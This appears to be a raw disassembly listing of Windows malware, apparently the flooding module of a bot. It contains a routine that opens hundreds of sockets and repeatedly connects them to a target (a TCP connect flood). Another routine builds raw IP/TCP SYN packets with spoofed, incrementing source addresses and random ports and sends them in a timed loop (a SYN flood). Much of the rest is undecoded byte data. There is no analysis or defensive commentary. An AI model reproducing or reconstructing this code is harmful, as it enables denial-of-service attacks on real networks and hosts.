		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_412E29
; ---------------------------------------------------------------------------

loc_412E26:				; CODE XREF: sub_412B08+2E0j
					; sub_412B08+2EEj
		mov	ebx, [ebp+arg_8]

loc_412E29:				; CODE XREF: sub_412B08+78j
					; sub_412B08+31Cj
		push	[ebp+var_20]
		call	dword_4CB03C
		pop	esi

loc_412E33:				; CODE XREF: sub_412B08+5Bj
		call	dword_4CAEFC
		mov	eax, ebx

loc_412E3B:				; CODE XREF: sub_412B08+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_412B08	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_412B08
		add	esp, 20h
		test	eax, eax
		jnz	short loc_412E8E
		push	1
		pop	eax

loc_412E8E:				; CODE XREF: ___:00412E89j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_412E9D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6721o
		dd 3BCEC81h, 56530000h,	5708458Bh, 0F08B686Ah, 44BD8D59h
		dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h,	9C988902h
		dd 0FF000001h, 4CB02415h, 0FFF88300h, 75FC4589h, 3815FF5Fh
		dd 50004CAFh, 0FC44858Dh, 5468FFFFh, 5000435Ch,	8995E8h
		dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah
		dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h
		dd 59FFFF84h, 0C9E85759h, 90022BD0h, 6AF44D8Dh,	0FF335104h
		dd 5057026Ah, 0FFF45D89h, 4CAF8415h
		db 0, 83h
word_412F4E	dw 0FFF8h		; DATA XREF: ___:off_43A1BCo
		dd 15FF5D75h, 4CAF38h, 44858D50h, 68FFFFFCh, 435C24h, 891CE850h
		dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh
		dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah
		dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h,	846CE8C8h
		dd 5959FFFFh, 0D052E857h, 8D90022Bh, 0FFFE4885h, 15FF50FFh
		dd 4CAFE4h, 75FFF883h, 44858D55h, 68FFFFFCh, 435C04h, 88B4E850h
		dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h,	50D875FFh
		dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh
		dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h
		dd 575959FFh, 0CFEAE890h, 106A022Bh, 57E4458Dh,	856EE850h
		dd 0C4830000h, 45C7660Ch, 570002E4h, 0AFA415FFh, 8966004Ch
		dd 858DE645h, 0FFFFFE48h, 0E415FF50h, 8B004CAFh, 4270A835h
		dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
		dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch,	0DD1805C6h
		dd 0FF45004Ch, 4CAFA415h, 0D47D3900h, 0DD1AA366h, 8966004Ch
		dd 4CDD1C1Dh, 3D896600h, 4CDD1Eh, 0DD2005C6h, 8880004Ch
		dd 4CDD211Dh, 3D896600h, 4CDD22h, 33E83074h, 8B000088h
		dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h
		dd 8E3C1D8h, 8815E8h, 6AD80300h, 241D8901h, 5B004CDDh
		dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4CAFE415h
		dd 0DD24A300h, 458B004Ch, 0DD28A3E8h, 0E3E8004Ch, 99000087h
		dd 100B9h, 88F9F700h, 4CDD2C15h, 87D0E800h, 0B9990000h
		dd 100h, 1588F9F7h, 4CDD2Dh, 87BDE8h, 0F0B99900h, 68000000h
		dd 400h, 8966F9F7h, 4CDD2E3Dh, 1D896600h, 4CDD32h, 15896642h
		dd 4CDD30h, 8795E8h, 0FFB99900h, 0F7000000h, 346852F9h
		dd 0E8004CDDh, 8430h, 8D0CC483h, 106AE445h, 1C685750h
		dd 68000004h, 4CDD18h, 0FFFC75FFh, 4CB00815h, 0FFF88300h
		dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 3C15FFFCh,	0FF004CB0h
		dd 4CAF3815h, 858D5000h, 0FFFFFE48h, 500875FFh,	435BBC68h
		dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h
		dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
		dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h,	0FFFFFC44h
		dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 1E89057h
		dd 0FF022BCEh, 15FFFC75h, 4CB03Ch, 3308458Bh, 3CC06BD2h
		dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
		dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 435B7068h
		dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
		dd 97E8C875h, 59FFFF81h, 7DE85759h, 90022BCDh
dword_413284	dd 0B8EC8B55h, 10320h, 888FE8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+550Fo
		dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 2C15FF00h
		dd 89004CAFh, 858D0845h, 0FFFFFF40h, 0E415FF50h, 8B004CAFh
		dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 2815FF50h
		dd 3B004CB0h, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
		dd 0FCBC858Dh, 0AC68FFFFh, 5000435Ch, 8589E8h, 0CC48300h
		dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh,	0FEC0858Dh
		dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h
		dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh
		dd 0CCBEE890h, 0C33B022Bh, 408B0C74h, 8B008B0Ch, 0FC458900h
		dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h
		dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
		dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
		dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
		dd 4CAEBCh, 0C0753B46h,	75FFDA7Ch, 5C15FF08h, 8D004CB0h
		dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 435C8068h, 0BBE85000h
		dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh,	75FFFFFFh
		dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h
		dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h
		dd 59FFFF80h, 0E8905359h, 22BCBF0h
dword_413410	dd 0B8EC8B55h, 10310h, 8703E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+575Bo
		dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0A9E89000h
		dd 500226D4h, 8493E8h, 116A5900h, 26A026Ah, 0B02415FFh
		dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 812EE850h,	0C4830000h
		dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CAFE4h
		dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CB02815h
		dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh,	68FFFFh
		dd 5000435Dh, 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h
		dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h
		dd 65A4E8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h
		dd 0E075FF00h, 0FF7F2DE8h, 565959FFh, 0CB12E890h, 408B022Bh
		dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh,	0DBE81175h
		dd 99000083h, 0FFDCB9h,	42F9F700h, 0FF03EB52h, 15FFDC75h
		dd 4CAFA4h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h
		dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h
		dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh,	838DE8h
		dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh
		dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah,	106AF045h
		dd 5FE85750h, 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh
		dd 0FEFCF085h, 0FF5350FFh, 4CB00815h, 0D875FF00h, 0CA5AE890h
		dd 754E0225h, 0DC7D39CEh, 2FE8BC75h, 99000083h,	0FFDCB9h
		dd 42F9F700h, 0A415FF52h, 66004CAFh, 0EBF24589h, 50858DA1h
		dd 50FFFFFFh, 0FCCC858Dh, 0D468FFFFh, 5000435Ch, 82A5E8h
		dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh,	50E475FFh
		dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh
		dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h
		dd 575959FFh, 0C9DAE890h
		db 2Bh,	2
word_413626	dw 8B55h		; DATA XREF: sub_401ACD+4DECo
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
		dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h,	8D500CC4h
		dd 0FFFBEC85h, 5D2868FFh, 0E8500043h, 820Ah, 0C483F633h
		dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
		dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h
		dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h,	5959FFFFh
		dd 0C93EE856h, 5F90022Bh
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4136C5	proc near		; CODE XREF: ___:004137AEp

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CAFA4
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_413783
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h

loc_413710:				; CODE XREF: sub_4136C5+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_413718:				; CODE XREF: sub_4136C5+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_41373B
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	near ptr 71AB155Ah
		nop

loc_41373B:				; CODE XREF: sub_4136C5+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_413718
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_413749:				; CODE XREF: sub_4136C5+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		nop
		call	near ptr 71AB3E5Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_413749
		push	64h
		nop
		call	near ptr 2670000h
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_41376D:				; CODE XREF: sub_4136C5+B4j
		push	dword ptr [esi]
		nop
		call	near ptr 71AB1A6Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_41376D
		dec	[ebp+arg_4]
		jnz	short loc_413710
		pop	edi
		pop	esi
		pop	ebx

loc_413783:				; CODE XREF: sub_4136C5+3Ej
		xor	eax, eax
		leave
		retn
sub_4136C5	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4136C5
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4137BD
		push	1
		pop	eax

loc_4137BD:				; CODE XREF: ___:004137B8j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_4137CC	dd 81EC8B55h, 414ECh, 8458B00h,	85B95756h, 8B000000h, 0ECBD8DF0h
					; DATA XREF: sub_401ACD+6449o
		dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
		dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
		dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 435D54h, 8064E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h
		dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
		dd 0FFFF7BB2h, 90565959h, 2BC797E8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41386B	proc near		; CODE XREF: ___:00413B59p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4138AB
		xor	eax, eax
		jmp	loc_413B19
; ---------------------------------------------------------------------------

loc_4138AB:				; CODE XREF: sub_41386B+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB048
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_413B11
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CAF84
		cmp	eax, 0FFFFFFFFh
		jz	loc_413B07
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CAFA4
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CAFA4
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CAFA4
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CAFA4
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 2780B3Fh
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 27807EAh
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax

loc_413996:				; CODE XREF: sub_41386B+25Dj
					; sub_41386B+26Bj
		mov	[ebp+var_24], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CAFA4
		mov	[ebp+var_34], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CAFA4
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CAFA0
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CAFA4
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413ADB
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 27807EAh
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_413B04
		jl	loc_413996
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_413B04
		jmp	loc_413996
; ---------------------------------------------------------------------------

loc_413ADB:				; CODE XREF: sub_41386B+247j
		call	dword_4CAF38
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_435D7C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_413B07
; ---------------------------------------------------------------------------

loc_413B04:				; CODE XREF: sub_41386B+25Bj
					; sub_41386B+269j
		mov	ebx, [ebp+arg_8]

loc_413B07:				; CODE XREF: sub_41386B+78j
					; sub_41386B+297j
		push	[ebp+var_C]
		call	dword_4CB03C
		pop	esi

loc_413B11:				; CODE XREF: sub_41386B+5Bj
		call	dword_4CAEFC
		mov	eax, ebx

loc_413B19:				; CODE XREF: sub_41386B+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_41386B	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_41386B
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_413B68
		push	1
		pop	eax

loc_413B68:				; CODE XREF: ___:00413B63j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_413B77	db 55h			; DATA XREF: sub_401ACD+6E44o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 7BD1h, 858D5059h, 0FFFFFE70h, 0E415FF50h, 50004CAFh
		dd 5DE8h, 50595900h, 0FC6C858Dh, 9C68FFFFh, 5000435Dh
		dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h,	0E8FFFFFEh
		dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
		dd 3E8F075h, 59FFFF78h,	0E9E85659h, 90022BC3h, 8B555E5Fh
		dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
		dd 6583046Ah, 0BB5E00A8h, 0FFh,	0C033066Ah, 0AC7D8D5Ah
		dd 0FF7C8D89h, 45C7FFFFh, 280h,	84758900h, 0C7885589h
		dd 88C45h, 45C70000h, 0C90h, 9445C700h,	11h, 169845C7h
		dd 0C7000000h, 299C45h,	45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
		dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
		dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
		dd 100h, 930BE857h, 89590000h, 5057FC45h, 0AFB815FFh, 75FF004Ch
		dd 2815FFFCh, 8B004CB0h, 6A530C40h, 8B026A03h, 89008B00h
		dd 15FFF445h, 4CB024h, 56D84D8Dh, 6A026A51h, 45895000h
		dd 8415FFFCh, 0BE004CAFh, 200h,	77D3E856h, 3D8B0000h, 4270A8h
		dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h
		dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0AFA415FFh, 8966004Ch
		dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
		dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
		dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh,	0F9F7CB8Bh
		dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh
		dd 4DD45C6h, 0E8D45589h, 7B52h,	0E0458966h, 7B49E8h, 990A6A00h
		dd 66F9F759h, 0B095448Bh, 0A415FF50h, 56004CAFh, 0E2458966h
		dd 0AFA415FFh, 8966004Ch, 5D88DE45h, 7B20E8E4h,	0E6A0000h
		dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
		dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh
		dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h
		dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0B00815FFh
		dd 1AE9004Ch, 0FFFFFFFFh, 8EE8F875h, 59000072h,	0FFFC75FFh
		dd 4CB03C15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
byte_413E35	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+53E8o
		dd 440EC81h, 458B0000h,	57565308h, 0F08B686Ah, 0C0BD8D59h
		dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
		dd 19Ch, 88C03359h, 0FFFF609Dh,	66ABF3FFh, 3D8BAAABh, 4270A8h
		dd 0E850D7FFh, 7A58h, 0FF6859h,	36A0000h, 15FF026Ah, 4CB024h
		dd 89FFF883h, 6675FC45h, 0AF3815FFh, 8D50004Ch,	0FFFBC085h
		dd 5EB468FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh
		dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
		dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh,	858D14C4h
		dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h
		dd 535959FFh, 0C102E890h, 4D8D022Bh, 51046ACCh,	5053026Ah
		dd 0FFCC7589h, 4CAF8415h, 0FFF88300h, 15FF6675h, 4CAF38h
		dd 0C0858D50h, 68FFFFFBh, 435E7Ch, 7958E850h, 0C4830000h
		dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h,	0FF54B5FFh
		dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h
		dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
		dd 9FE8FFFFh, 59FFFF74h, 0E8905359h, 22BC084h, 0FDC4858Dh
		dd 0FF50FFFFh, 4CAFE415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
		dd 435E5C68h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh
		dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
		dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh
		dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h
		dd 15E85359h, 90022BC0h, 458D106Ah, 0E85053BCh,	7598h
		dd 660CC483h, 2BC45C7h,	15FF5300h, 4CAFA4h, 0BE458966h
		dd 0FDC4858Dh, 0FF50FFFFh, 4CAFE415h, 0C0458900h, 0FF085D89h
		dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h
		dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0AFA415FFh
		dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h
		dd 80DC45C6h, 6DD45C6h,	0DE5D8966h, 73E82D74h, 8B000078h
		dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h
		dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh
		dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 0AFE415FFh, 4589004Ch
		dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h
		dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 0A415FFFFh
